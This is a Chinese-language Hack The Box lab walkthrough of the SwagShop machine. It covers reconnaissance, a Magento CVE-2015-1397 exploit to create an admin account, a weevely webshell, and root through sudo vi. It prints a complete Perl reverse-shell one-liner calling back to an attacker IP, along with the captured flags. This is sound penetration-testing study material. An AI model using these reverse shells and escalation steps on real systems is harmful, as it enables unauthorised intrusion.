HTB-linux-SwagShop

简介:
Magento被认为是全球范围内最实用、最完整的电子商务网站架构系统,是国际化电子商务解决方案之一,像Nike、IKEA等品牌的网站即是采用Magento系统.新版本Magento2可以在本站下载使用。它支持多种语言、多个商铺平台统一管理,具有丰富的模块化架构体系以及丰富的拓展功能。它专业的开源性,使其在第三方系统集成方面有着极为良好的表现。

Magento在世界范围内广泛使用, 是在线商城类CMS的翘楚, 该靶机集成类Magento CMS, 在完成靶机的过程中了解类Magento CMS的一些运行原理、历史CVE问题, 靶机的思路是利用cve获取webshell, 从webshell提升至reverse shell, 提升之后相关flag可附带查出。

靶机状态: 已完成

目录

  • 端口扫描
  • 利用cve获取webshell
  • 从webshell到反弹shell

一、端口扫描

使用nmap扫描开放的端口nmap -sC -sV 10.10.10.140, 开放22和80端口, 系统是ubuntu, WEB中间件是apache 2.4.18、OpenSSH 7.2p2. 两个组件均无RCE漏洞, OpenSSH 7.2p2存在用户名枚举的CVE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 07:14 CST
Nmap scan report for 10.10.10.140
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds

查80端口
访问80端口后, 发现是一个Magento的CMS站点, 用户界面可自行注册, 存在后台管理接口, 存在若干CVE, 包含XXE、XSS等.

二、利用CVE获取webshell

WEB站点信息收集

在浏览器中访问Magento站点后, 没有找到敏感信息, 用gobuster -u http://10.10.10.140 -w /usr/share/wordlists/dirbuste/apa -t 100进行目录爆破, 发现了一些有意思的数据/app/etc/local.xml中保存了magento的数据库连接串信息, /index.php/admin是后台管理平台的入口

拿到数据库的账号密码后, 首先考虑连数据库创建后台管理员账号, 但靶机未对外开放数据库端口, 因此暂无法使用; 然后考虑爆破, 用数据库密码作为root用户的密码和后台管理账号的密码均失败; 因此先搁置数据库账号密码信息, 开始转向CMS的CVE漏洞, 通过exploit-db站点发现了11个CVE, 类型为本地文件读取、远程文件包含、远程代码执行、XXE、XSS, 通过google搜索额外发现若干SQL注入。

CVE利用

在运行proof of concept时, 发现Magento的一个小细节: 访问不存在的页面直接爆404, 访问不存在的模块爆自定义页面版404, 访问管理后台中的链接且链接存在时会重定向至管理平台登陆页面。

基于这个细节, 发现存在Cms_Wysiwyg插件, 其url为/index.php/admin/Cms_Wysiwyg/directive/index/, 修改CVE-2015-1397漏洞的poc中url内容和账号密码, 成功创建管理员账号, 进入管理后台。

获取webshell

拿到管理员账号后, 获取WEBSHELL的方法基本上是通过上传FileSystem插件, 编辑php文件写入webshel, weevely连接webshell。 连接webshell后, 获得user.txt

1
2
www-data@swagshop:/home/haris $ cat user.txt
a448877277e82f05e5ddf9f90aefbac8

三、从webshell到反弹shell

在webshell中运行sudo -l命令发现可免密执行vi命令, 哈哈, root权限触手可得

1
2
3
4
5
6
weevely> sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*

webshell中无法执行vi这种交互式命令, 因此创建反弹shell执行vi, 但常用的bash、python等命令创建反弹shell一直无法连接过来, 最后用perl获得>了反弹shell

1
perl -e 'use Socket;$i="10.10.14.244";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

拿到root权限后, 获得root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
:!sh
id file when making changes. Quit, or continue with caution.
uid=0(root) gid=0(root) groups=0(root)hed.
cat /root/root.txt case, use ":recover" or "vim -r /var/www/html/a.txt"
c2b087d66e14a652a3b86a130ac56721":help recovery").
If you did this already, delete the swap file "/var/www/html/.a.txt.swp"
___ ___id this message.
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)exists!
| |. |-Only, (E)dit anyway, (R)ecover, (Q)uit, (A)bort: e
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password

PS: Use root flag as password!

四、障碍点

  1. magento创建admin账号poc中涉及路径查找, 明明已经找到但是一直以为不是
  2. magento后台如何上传file_system插件
  3. upgrade webshell to reverse_shell(严格区分两者的区别)
  4. upgrade reverse_shell to tty(严格区分两者区别)
  5. sudoers配置利用需加sudo前缀
owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%